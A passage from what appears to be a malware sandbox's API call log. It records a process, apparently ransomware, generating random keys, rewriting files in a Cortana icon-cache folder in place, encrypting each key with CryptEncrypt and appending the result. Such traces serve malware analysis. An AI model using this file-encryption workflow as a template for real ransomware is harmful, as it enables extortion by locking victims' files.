[0180.321] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.321] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.321] CloseHandle (hObject=0x1af4) returned 1 [0180.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.324] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F6932121-D2DA-4225-88E3-261818BB07E2}", dwFileAttributes=0x80) returned 1 [0180.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc418 [0180.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.324] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F6932121-D2DA-4225-88E3-261818BB07E2}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{f6932121-d2da-4225-88e3-261818bb07e2}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.325] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.325] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.326] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.326] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.326] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.327] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.327] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.327] CloseHandle (hObject=0x1af4) returned 1 [0180.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0180.328] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F034B648-27F3-4DB0-A1E2-76AEDA4DB720}", dwFileAttributes=0x80) returned 1 [0180.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db510 [0180.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.328] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F034B648-27F3-4DB0-A1E2-76AEDA4DB720}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{f034b648-27f3-4db0-a1e2-76aeda4db720}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.329] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.329] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.330] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.330] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.330] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.331] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.331] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.331] CloseHandle (hObject=0x1af4) returned 1 [0180.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0180.332] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E76B536A-24BE-46E2-8644-8BD44952F288}", dwFileAttributes=0x80) returned 1 [0180.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbad8 [0180.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.333] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E76B536A-24BE-46E2-8644-8BD44952F288}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{e76b536a-24be-46e2-8644-8bd44952f288}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.334] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.334] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.343] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.343] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.343] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.343] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.343] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.343] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.344] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.344] CloseHandle (hObject=0x1af4) returned 1 [0180.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.345] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E35E895E-B105-44CC-9B2B-8D9A698783C6}", dwFileAttributes=0x80) returned 1 [0180.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbad8 [0180.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.346] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E35E895E-B105-44CC-9B2B-8D9A698783C6}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{e35e895e-b105-44cc-9b2b-8d9a698783c6}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.346] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.346] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.347] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.347] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.348] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.348] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.348] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.348] CloseHandle (hObject=0x1af4) returned 1 [0180.350] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.350] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E0AD878D-B374-40FC-B27F-1EA6CD8C752F}", dwFileAttributes=0x80) returned 1 [0180.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc1c8 [0180.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E0AD878D-B374-40FC-B27F-1EA6CD8C752F}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{e0ad878d-b374-40fc-b27f-1ea6cd8c752f}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.351] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.351] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.352] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.352] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.352] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.353] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.353] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.353] CloseHandle (hObject=0x1af4) returned 1 [0180.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{DC3F0DD8-0793-4FBB-8E32-717EB37783E0}", dwFileAttributes=0x80) returned 1 [0180.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc0a0 [0180.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.355] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{DC3F0DD8-0793-4FBB-8E32-717EB37783E0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{dc3f0dd8-0793-4fbb-8e32-717eb37783e0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.355] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.356] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.357] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.357] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.357] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.357] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.357] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.357] CloseHandle (hObject=0x1af4) returned 1 [0180.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D7B78AAA-A1E8-4680-A688-037B9A274D5A}", dwFileAttributes=0x80) returned 1 [0180.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc418 [0180.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.363] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D7B78AAA-A1E8-4680-A688-037B9A274D5A}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d7b78aaa-a1e8-4680-a688-037b9a274d5a}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.364] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.364] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.365] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.365] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.365] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.365] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.365] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.366] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.366] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.366] CloseHandle (hObject=0x1af4) returned 1 [0180.367] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.367] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.367] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D750F1B1-B0B7-4DA6-A9C0-1ABD8854F051}", dwFileAttributes=0x80) returned 1 [0180.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 